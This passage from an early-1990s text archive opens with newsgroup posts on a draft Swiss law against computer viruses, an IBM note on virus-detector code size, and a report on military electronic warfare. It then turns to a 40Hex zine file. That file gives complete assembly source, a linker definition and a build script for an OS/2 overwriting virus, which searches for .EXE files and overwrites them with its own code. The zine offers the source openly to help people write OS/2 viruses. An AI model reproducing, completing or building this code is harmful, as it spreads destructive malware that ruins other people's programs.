  5448. if a virus created outside Switzerland is transferred electronically to
  5449. Switzerland, the downloader will be held responsible, no matter if he was
  5450. in Switzerland or abroad, as "importing" as a way to circulate the virus.
  5451. The "success" of the act will take place in Switzerland. Anyway Art. 7 of
  5452. Swiss Penal Law follows the principle of territoriality and the
  5453. "Ubiquitaetsprinzip" (sorry: didn't find the correct English word: an act
  5454. is considered being committed not only where the committer was, when he
  5455. started his crime, but also where the "success" has been realized. Anyway
  5456. I do consider clearifing this by inserting that "importing" virus is 
  5457. considered as "circulating in any way".
  5458.  
  5459. As this crime is prosecuted as soon as police or prosecution authority knows
  5460. about it (so called "ex officio", there is no need for a specific complaint:
  5461. a detailed information about a fact is enough to start investigations, no
  5462. matter where the information came from (e.g. abroad).
  5463.  
  5464. There is no doubt, that professional ant-virus specialists and scientists
  5465. should have access to viruses and be allowed to even create viruses. As
  5466. long as this is covered by the aim of studying strategies to fight
  5467. computer viruses, this is OK. I actually planned a system of registrering
  5468. these people with a federal authority (e.g. the IS Security Dptm. at the
  5469. Swiss Federal Office of Information Technology and Systems or the Ministery
  5470. of Justice). The posted text would be then need to be completed as follows:
  5471. "Who, without being registered with the proper federal authority, creates...
  5472. Only trustworthy individuals, who are professionally or scientifically
  5473. active in combatting such means, may be registered on demand."
  5474.  
  5475. The Swiss legislator is actually not only considering "data damaging" but
  5476. "hacking", "time theft" and computer fraud too, but these ARE NOT subjects
  5477. of the discussion in this forum now. The same applies to software piracy,
  5478. already ruled by another law. I will gladly email/fax the German, French or
  5479. Italian text of the Penal Law draft to anybody interested. Please do not
  5480. ask me an English translation of these, as I am not a professional English
  5481. translator of legal text.
  5482.  
  5483. I am aware that the UK and Italy have/are going to have laws allowing to
  5484. prosecute the creation and circulation of computer viruses. If anybody
  5485. knows of other contries, may he please let me know in any way and as soon
  5486. as possible.
  5487.  
  5488. On Monday, 25 October 1993, there will a meeting with the Ministery of
  5489. Justice in order to convince them to propose this to the Parliament. This
  5490. will be very very difficult, as there generally is very little knowledge
  5491. on, or concern for the threat through computer viruses. Most people have
  5492. simply never suffered an attack of computer viruses.
  5493.  
  5494. Thanks again for following this item with your comments.
  5495.  
  5496. Claudio G. Frigerio
  5497.  
  5498. P.S.: Please do not suggest to me to send them a floppy with a ..... just
  5499. to make them more aware of the risks...
  5500. P.P.S.: You can phone/email/fax/write to me in Italian, German, French,
  5501. Spanish or English.
  5502.  
  5503.  
  5504. Article #3
  5505. ----------
  5506.  
  5507. Subj:   Detection complexity of some newish viruses. (PC)
  5508.  
  5509. A while back (January 93) a few people posted sizes of their algorithmic
  5510. virus detectors.  Here are the line counts for a couple more detectors
  5511. included (or to be included) in IBM AntiVirus.
  5512.  
  5513. These counts are for lines of C; the code is not particularly dense.
  5514. The SatanBug (*) count includes some tables.  (File I/O handling is
  5515. *not* included in these counts.  The lines-of-code counter is a standard
  5516. counter used in many IBM development projects.  I'm not completely sure
  5517. what rules this lines-of-code counter uses.  Some lines are
  5518. counted as both code and comment lines.)
  5519.  
  5520. SatanBug ::= 421 physical lines, 173 comment lines, and 187 code lines
  5521. Tremor ::= 165 physical lines, 36 comment lines, and 107 code lines
  5522.  
  5523. (*) There is some disagreement about the name of this virus.
  5524.  
  5525. Bill Arnold, barnold@watson.ibm.com (IBM AntiVirus Development)
  5526.  
  5527. Article 4:
  5528. ----------
  5529.  
  5530. Subj:  Electronic Warfare
  5531.  
  5532. The October 18th issue of Aviation Week has an interesting item in its
  5533. Washington Outlook column on future developments in electronic warfare. 
  5534. Paraphrase follows:
  5535.  
  5536.   A Pentagon official, H. Steven Kimmel, deputy director of C3I testing
  5537.   and evaluation in the Pentagon acquisition office, said the next 
  5538.   developments in "non-lethal electronic combat" should be on methods
  5539.   of injecting deceptive information and computer viruses into enemy
  5540.   command, control, communication and intelligence systems and into 
  5541.   enemy communication nodes and data bases. Kimmel was speaking to the
  5542.   Association of Old Crows, a group of electronic warfare specialists.
  5543.   He further said that the U.S. needs this "nonlethal capability" both
  5544.   defensively and offensively. It was pointed out that American C3I
  5545.   systems are vulnerable because of their many nodes and reliance on
  5546.   computers and commercial off the shelf components.
  5547.  
  5548. Article 5:
  5549. ----------
  5550.  
  5551. Subj:  Swiss Anti Virus Law
  5552.  
  5553. On November 11, 1993 the Law Committee of the 2nd Chamber of the Parliament 
  5554. (German: "Staenderat"; a kind of "Swiss Senate") decided to accept the anti-
  5555. virus propositions. The Staenderat will probably discuss in Parliament and 
  5556. decide on the subject by December 1993. In the Law Committee there was 
  5557. practically no opposition to the law draft; thus it is very likely that the 
  5558. Staenderat will accept it too. After this the "Nationalrat" (the 1st Chamber of 
  5559. Parliament, a kind of "Swiss House of Representatives" or "Swiss Congress")
  5560. will  discuss the draft and decide about it by Spring 1994.
  5561.  
  5562. The Swiss law draft, posted to the net, has been changed considerably in the
  5563. last few weeks. The draft actually discussed in Parliament will be:
  5564.  
  5565. German text:
  5566. Schweizerisches Strafgesetzbuch, Artikel 144bis, Datenbeschaedigung
  5567. 1. Wer unbefugt elektronisch oder in vergleichbarer Weise
  5568.    gespeicherte oder uebermittelte Daten loescht, veraendert oder
  5569.    unbraucbar macht, wird, auf Antrag, mit Gefaegnis oder mit Busse
  5570.    bestraft.
  5571.    Hat der Taeter einen grossen Schaden verursacht, so kann auf
  5572.    Zuchthaus bis zu fuenf Jahren erkannt werden. Die Tat wird von
  5573.    Amtes wegen verfolgt.
  5574. 2. Wer Programme, von denen er weiss oder annehmen muss, dass sie
  5575.    zu den in Ziffer 1 genanten Zwecken verwendet werden sollen, 
  5576.    herstellt, einfuehrt, in Verkehr bringt, anpreist, ueberlaesst oder
  5577.    sonstwie zugaenglich macht oder zu ihrer Herstellung Anleitung gibt,
  5578.    wird mit Gefaegnis oder mit Busse bestraft.
  5579.    Handelt der Taeter gewerbsmaessig, so kann auf Zuchthaus bis zu
  5580.    fuenf Jahren erkannt werden.
  5581.  
  5582. English text:
  5583. Swiss Criminal Code, Article 144bis, Damaging of data
  5584. 1. Anyone, who without authorization deletes, modifies or renders 
  5585.    useless electronically or similarly saved or transmitted data, will, 
  5586.    if a complaint is filed, be punished with the imprisonment for a 
  5587.    term of up to 3 years or a fine of up to 40000 Swiss francs.
  5588.    If the person charged has caused a considerable damage, the
  5589.    imprisonment will be for a term of up to 5 years. The crime will
  5590.    be prosecuted ex officio.
  5591. 2. Anyone, who creates, imports, distributes, promotes, offers, 
  5592.    makes available, circulates in any way, or gives instructions to 
  5593.    create programs, that he/she knows or has to presume to be used
  5594.    for purposes according to item 1 listed above, will be punished
  5595.    with the imprisonment for a term of up to 3 years or a fine of up
  5596.    to 40000 Swiss francs.
  5597.    If the person charged acted for gain, the imprisonment will be for
  5598.    a term of up to 5 years.
  5599.  
  5600. This English translation may not be perfect. The text will be available by
  5601. January 1994 in all official Swiss languages: German, French and Italian.
  5602.  
  5603. The protected item of this article are just data (immaterial goods). Any damage 
  5604. to computer systems, like the burning of floppies, plug-pulling, sledgehammers 
  5605. etc. are damages to "physical/material things" covered by article 144 
  5606. (Sachbeschaedigung, damage to property).
  5607.  
  5608. According to Swiss penal legislation the requisite knowledge and intent 
  5609. ("knowingly and willingly") have not to be mentioned specifically.
  5610.  
  5611. As you may have noticed, the "registration" of IS security pros has been 
  5612. dropped. The expression "that he/she knows or has to presume to be used for 
  5613. purposes according to item 1 listed above" will exclude any penal responsibi-
  5614. lity if the committer e.g. gave a virus to a professional anti-virus software 
  5615. developer or is creating viruses for research, as in these and similar special 
  5616. situations a misuse of the virus is highly unlikely. The committer will not be 
  5617. prosecuted, if he had reasonable motives, to practically exclude a misuse. On a 
  5618. retrospective analysis the judge will check if the person who gave a viruses to 
  5619. somebody else (who misused it to cause damage) could in any way be blamed for 
  5620. not having foreseen the occurred misuse. If you give a virus to a notorious 
  5621. anti-virus professional, known for spreading viruses or source codes, or simply 
  5622. to somebody who does not give a special guarantee for not misusing the virus, 
  5623. you will be prosecuted. Who just trusted in the promise of a virus-recipient, 
  5624. that the latter will not misuse it, will be in trouble, if he did not have a 
  5625. very special additional reason to trust him. The law considers viruses as so 
  5626. dangerous for the general public, that any act making them available to
  5627. somebody else, represents a general risk to the general public. Who invokes an
  5628. exception,that an act of making a virus available to somebody else, did not 
  5629. represent such a risk has to prove it.
  5630.  
  5631. This may cause some concern, but law can not foresee any situation. Judges will 
  5632. have to carefully check if the reasons to give a virus to somebody else, were 
  5633. good enough to practically exclude any misuse.
  5634.  
  5635. Making a newly discovered virus available to McAfee or the Virus Test Center 
  5636. will not be a crime, as long as the reputation of these recipients is above any 
  5637. suspicion.
  5638.  
  5639. As the draft is now in the Parliament, there is practically no way to change
  5640. any thing in this text anymore (by the administration). Now it is up to the 
  5641. politicians to decide about the subject and to make any additional change.
  5642. 40Hex Number 12 Volume 3 Issue 3                                      File 009
  5643.  
  5644.     This virus was given to us by Arthur Ellis, and is the first piece
  5645. of OS/2 virus source that I have ever seen.  Although it is only an
  5646. overwriting virus, it should definately be helpful for anyone who wants
  5647. to write viruses in OS/2.
  5648.  
  5649.                                                 ->GHeap
  5650.  
  5651. -----------------------------<Os2Vir1.Asm>-------------------------------------
  5652. INCLUDE OS2.INC     ; if you don't have OS2.INC, see end of this file
  5653. COMMENT *
  5654. This simple overwriting virus demonstrates how the OS/2 API functions
  5655. are used to search for, open, and infect programs. No extended registers
  5656. are used, and the program may be assembled with MASM 5.1 or 6.0, TASM
  5657. for OS/2 (from the Borland C++ package), or with IBM Macro Assembler/2.
  5658. Link with :link386 /exepack virus,,,c:\os2\doscalls,virus.def
  5659. VIRUS.DEF:         NAME VIRUS WINDOWCOMPAT
  5660.                    PROTMODE
  5661.                    STACKSIZE 8192
  5662. There is minimal error checking (since when do viruses check errors?). A
  5663. useful project for a student would be to convert this program to .386p mode.
  5664. - Arthur Ellis, 1993
  5665. *
  5666. PrintIt     MACRO   string, StrLen
  5667.             push    1                       ; stdout handle
  5668.             push    DS
  5669.             mov     DX, OFFSET string       ; string to write
  5670.             push    DX
  5671.             xor     CX,CX                   ; zero CX
  5672.             mov     CL, [StrLen]            ; string length
  5673.             push    CX
  5674.             push    DS
  5675.             push    OFFSET Written          ; bytes written variable
  5676.             call    DosWrite                ; like int 21/40
  5677.             ENDM
  5678. OpenIt      MACRO   seg, handle, mode       ; SEGMENT, open mode, handle
  5679.             push    seg                     ; SEGMENT of file name
  5680.             push    BX                      ; OFFSET of file name
  5681.             push    DS                      ; SEGMENT of handle
  5682.             push    OFFSET handle           ; OFFSET of handle
  5683.             push    DS                      ; SEGMENT of open action
  5684.             push    OFFSET OpenAction       ; OFFSET of open action
  5685.             push    0                       ; file size DWORD
  5686.             push    0                       ; file size DWORD
  5687.             push    3                       ; attributes: hid,r-o,norm
  5688.             push    1                       ; FILE_OPEN
  5689.             push    mode                    ; OPEN_SHARE_DENYNONE
  5690.             push    0                       ; DWORD 0 (reserved)
  5691.             push    0                       ; DWORD 0 (reserved)
  5692.             Call    DosOpen                 ; like int 21/3D
  5693.             ENDM
  5694. .286p
  5695.  
  5696. STACK       SEGMENT PARA STACK 'STACK'
  5697.             DW    1000h
  5698. STACK       ENDS
  5699.  
  5700. DGROUP      GROUP   _DATA, STACK
  5701.  
  5702.             ASSUME  CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:DGROUP
  5703.  
  5704. _DATA       SEGMENT WORD PUBLIC 'DATA'
  5705.  
  5706. FileSpec    DB      '*.EXE', 0
  5707. OpenErr     DB      ' <Error opening file>',13,10,27,'[m'
  5708. Hello       DB      27,'[2J',27,'[1;36mMy name is '
  5709. Infected    DB      ' --> infected'
  5710. CRLF        DB      13,10,27,'[m'
  5711. Written     DW      ?                       ; bytes written
  5712. MyHandle    DW      ?                       ; virus handle
  5713. VicHandle   DW      ?                       ; victim handle
  5714. OpenAction  DW      ?                       ; open result
  5715. Buf         FileFindBuf <>                  ; file find structure
  5716. MySize      DW      ?                       ; virus length
  5717. EnvSeg      DW      ?                       ; selector for environment
  5718. CmdOfs      DW      ?                       ; OFFSET of command line
  5719. Image       DB      2000 dup (?)            ; virus image
  5720. ImageLen    DW      ?                       ; length of virus
  5721. DirHandle   DW      -1                      ; directory handle
  5722. SrchCount   DW      1                       ; search count
  5723. _DATA       ENDS
  5724.  
  5725. _TEXT       SEGMENT WORD PUBLIC 'CODE'
  5726.             extrn DOSCLOSE:far, DOSEXIT:far, DOSWRITE:far, DOSGETENV:far
  5727.             extrn DOSFINDCLOSE:far, DOSFINDFIRST:far, DOSFINDNEXT:far
  5728.             extrn DOSOPEN:far, DOSREAD:far
  5729.  
  5730. main        PROC    far
  5731. start:      call    GetName                 ; get the virus filename
  5732.             OpenIt  ES, MyHandle, 40h       ; open virus for read
  5733. ;--------------------------------------------------------------------
  5734. ;---( Read virus to image buffer )-----------------------------------
  5735. ;--------------------------------------------------------------------
  5736.             push    MyHandle                ; handle for this program
  5737.             push    DS                      ; buffer for file image
  5738.             push    OFFSET Image
  5739.             push    2000                    ; Could use DosQFileInfo to
  5740.                                             ;  get filesize but this works
  5741.             push    DS
  5742.             push    OFFSET ImageLen         ; virus length goes here
  5743.             call    DosRead                 ; like int 21/3F
  5744. ;--------------------------------------------------------------------
  5745. ;---( Find files to infect )-----------------------------------------
  5746. ;--------------------------------------------------------------------
  5747.             call    FindIt                  ; find first file
  5748.  
  5749. found:      or      AX, AX                  ; error?
  5750.             jz      NoErr                   ; no error
  5751.  
  5752. quit:       push    1                       ; terminate all threads
  5753.             push    0                       ; return code
  5754.             call    DosExit                 ; like int 21/4C
  5755.  
  5756. NoErr:      cmp     word ptr SrchCount, 0   ; no files found?
  5757.             jz      quit                    ; none found
  5758.  
  5759.             PrintIt Buf.findbuf_achname,Buf.findbuf_cchName
  5760.                                             ; display filename found
  5761. ;--------------------------------------------------------------------
  5762. ;---( Write virus )--------------------------------------------------
  5763. ;--------------------------------------------------------------------
  5764.             lea     BX,Buf.findbuf_achName  ; filename OFFSET in BX
  5765.  
  5766.             OpenIt  DS, VicHandle, 42       ; ACCESS_READWRITE|SHAREDENYNONE
  5767.             or      AX,AX                   ; error?
  5768.             jz      proceed
  5769.             PrintIt OpenErr, 25             ; error on open
  5770.             jmp     CloseIt
  5771.  
  5772. proceed:    PrintIt Infected,15             ; add to hit list
  5773.             mov     BX,[VicHandle]
  5774.             push    [VicHandle]             ; write to found file
  5775.             push    DS
  5776.             push    OFFSET Image            ; string to write
  5777.             push    [ImageLen]              ; image length
  5778.             push    DS
  5779.             push    OFFSET Written          ; bytes written variable
  5780.             call    DosWrite                ; write the virus
  5781.  
  5782. CloseIt:    push    [VicHandle]             ; prepare to close
  5783.             call    DosClose                ; close file
  5784. ;--------------------------------------------------------------------
  5785. ;---( Find next file )-----------------------------------------------
  5786. ;--------------------------------------------------------------------
  5787.             push    DirHandle               ; Directory Handle
  5788.             push    DS                      ; SEGMENT of buffer
  5789.             push    OFFSET Buf              ; OFFSET of buffer
  5790.             push    SIZE Buf                ; length of buffer
  5791.             push    DS                      ; SEGMENT of count
  5792.             push    OFFSET SrchCount        ; OFFSET of count
  5793.             call    DosFindNext             ; Find next file
  5794.                                             ; like int 21/4F
  5795.             jmp     found                   ; infect if found else exit
  5796.  
  5797. main        ENDP
  5798. ;--------------------------------------------------------------------
  5799. ;---( Get virus file name from environment )-------------------------
  5800. ;--------------------------------------------------------------------
  5801. GetName     PROC    near
  5802.             push    ds
  5803.             push    OFFSET EnvSeg
  5804.             push    ds
  5805.             push    OFFSET CmdOfs
  5806.             call    DosGetEnv               ; get seg, ofs of command line
  5807.  
  5808.             mov     ES,EnvSeg               ; ES:BX holds command line
  5809.             mov     BX,CmdOfs
  5810.  
  5811.             xor     DI,DI
  5812.             xor     AL,AL
  5813.             mov     CX,-1
  5814.             cld
  5815. scan:       repne   scasb                   ; scan for double null
  5816.             scasb
  5817.             jne     scan                    ; loop if single null
  5818.             mov     BX,DI                   ; program name address
  5819.             mov     CX,-1                   ; find length
  5820.             repne   scasb                   ; scan for null byte
  5821.             not     CX                      ; convert CX to length
  5822.             dec     CX
  5823.             mov     [MySize],CX             ; return length
  5824.  
  5825.             PrintIt Hello, 22
  5826.  
  5827.             push    1                       ; stdout handle
  5828.             push    ES                      ; segment for command line
  5829.             push    BX                      ; OFFSET of program name
  5830.             push    [MySize]                ; length of program name
  5831.             push    DS
  5832.             push    OFFSET Written          ; bytes written variable
  5833.             call    DosWrite                ; like int 21/40
  5834.  
  5835.             PrintIt CRLF,5
  5836.             ret
  5837. GetName     ENDP
  5838. ;--------------------------------------------------------------------
  5839. ;---( Find first victim )--------------------------------------------
  5840. ;--------------------------------------------------------------------
  5841. FindIt      PROC    near
  5842.             push    DS
  5843.             push    OFFSET FileSpec
  5844.             push    SS                      ; SEGMENT of directory handle
  5845.             lea     AX, DirHandle           ; OFFSET of directory handle
  5846.             push    AX
  5847.             push    07h                     ; attribute
  5848.             push    DS                      ; SEGMENT of buffer
  5849.             push    OFFSET Buf              ; OFFSET of buffer
  5850.             push    SIZE Buf                ; length of buffer
  5851.             push    DS                      ; SEGMENT of search count
  5852.             lea     AX, SrchCount           ; OFFSET of search count
  5853.             push    AX
  5854.             push    0                       ; Reserved
  5855.             push    0
  5856.             call    DosFindFirst            ; Find first file
  5857.             ret                             ; like int 21/4E
  5858. FindIt      ENDP
  5859. ;--------------------------------------------------------------------
  5860. _TEXT       ENDS
  5861.             END start
  5862. ;--------------------------------------------------------------------
  5863. ;--( FTIME structure from OS2.INC )----------------------------------
  5864. ;--------------------------------------------------------------------
  5865. ;FTIME   STRUC
  5866. ;    ftime_fs    DW  ?
  5867. ;FTIME   ENDS
  5868. ;ftime_twosecs   EQU 01fh
  5869. ;ftime_minutes   EQU 07e0h
  5870. ;ftime_hours EQU 0f800h
  5871. ;--------------------------------------------------------------------
  5872. ;--( FDATE structure from OS2.INC )----------------------------------
  5873. ;--------------------------------------------------------------------
  5874. ;FDATE   STRUC
  5875. ;    fdate_fs    DW  ?
  5876. ;FDATE   ENDS
  5877. ;fdate_day   EQU 01fh
  5878. ;fdate_month EQU 01e0h
  5879. ;fdate_year  EQU 0fe00h
  5880. ;--------------------------------------------------------------------
  5881. ;--( FileFindBuf structure from OS2.INC )----------------------------
  5882. ;--------------------------------------------------------------------
  5883. ;FILEFINDBUF STRUC
  5884. ;findbuf_fdateCreation   DB  SIZE FDATE DUP (?)
  5885. ;findbuf_ftimeCreation   DB  SIZE FTIME DUP (?)
  5886. ;findbuf_fdateLastAccess DB  SIZE FDATE DUP (?)
  5887. ;findbuf_ftimeLastAccess DB  SIZE FTIME DUP (?)
  5888. ;findbuf_fdateLastWrite  DB  SIZE FDATE DUP (?)
  5889. ;findbuf_ftimeLastWrite  DB  SIZE FTIME DUP (?)
  5890. ;findbuf_cbFile  DD  ?
  5891. ;findbuf_cbFileAlloc DD  ?
  5892. ;findbuf_attrFile    DW  ?
  5893. ;findbuf_cchName DB  ?
  5894. ;findbuf_achName DB  256 DUP (?)
  5895. ;FILEFINDBUF ENDS
  5896. ;---------------------------------------------------------------------
  5897.  
  5898. -----------------------------<Virus.Def>----------------------------------------
  5899. NAME VIRUS WINDOWCOMPAT
  5900. PROTMODE
  5901. STACKSIZE 8192
  5902.  
  5903. -----------------------------<DoIt.Cmd>-----------------------------------------
  5904. masm /Zi %1;
  5905. link386 /exepack %1,,,c:\os2\doscalls,virus.def
  5906.  
  5907.